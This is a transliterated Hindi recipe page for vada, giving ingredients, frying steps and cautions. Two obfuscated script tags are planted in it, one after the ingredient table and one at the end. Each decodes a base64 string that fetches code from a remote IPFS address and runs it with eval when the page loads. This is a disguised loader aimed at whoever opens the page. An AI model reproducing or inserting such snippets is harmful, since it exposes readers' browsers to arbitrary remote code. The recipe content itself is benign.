वडा
(Redirected from वड़ा)
Jump to navigation
Jump to search
vada
| |
desh | bharat |
kshetr | dakshin bharatiy khana lekin sari duniya mean isaki dhoom hai |
mukhy samagri | urad aur mooang ki dal |
u dad ki dhuli dal | 200 gram (1 kap) |
mooang ya chane ki dal | 100 gram (adha kap) |
namak | svadanusar (3/4 chhoti chammach) |
adarak | 1 1/2 ianch lamba tuk da (kaddookas kar lijiye) |
hari mirch | 3-4 (barik kat lijiye) |
hara dhaniya | 1 b da chammach (barik kata hua) |
tel | vada talane ke liye |
upakaran | kadhaee |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vidhi
- saanbar vada banane ke lie u dad aur mooang ya chane ki dal ko dhoiye aur 4-5 ghante ya poori rat ke liye pani mean bhigo dijiye.
- dal ko pani se nikaliye, ek bar phir se dho lijiye, bhigi huee daloan ko bina pani dale ya bahut hi kam pani dal kar pis lijiye.
- pisi huee dal mean namak, adarak, hari mirch aur hara dhaniya dal kar achchhi tarah mila lijie.
- saanbar vada banane ke liye mishran taiyar hai.
- is mishran se vadoan ka akar ap apane hathoan par hi de sakate haian ya kisi plastik shit ka bhi istemal kar sakate haian.
- dakshin bharat mean vade banane ke liye plastik shit ki jagah kele ke pattoan ka bhi prayog karate haian.
- kadhaee mean tel dal kar garam kijiye, hath ki uangaliyoan ko pani se bhigoiye, bhigi huee uangaliyoan par, qarib 1 ya 11/2 chhoti chammach dal ka mishran rakhiye aur aangoothe ya doosare hath ki uangali ko g da kar ek chhed bana dijiye, garam tel mean ye vada talane ke liye daliye, kadhaee mean tel ke hisab se 3-4 bade banakar ek bar mean dalakar tal sakati haian, vade ki nichali satah sunaheri hone par palatiye aur donoan satah sunaheri hone tak tal kar nikal lijie.
- sare vade tal kar isi tarah nikal lijie. sare v de taiyar ho gaye haian.
- khane se pahale vade, garama-garam saanbar mean daliye aur parosiye.
savadhani
- pani isamean kam se kam hi hona chahiye.
- dal ko bahut adhik barik bhi mat kijiye.
- dal ko ap jitana phaitege vada utana hi mulayam baneanga.
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>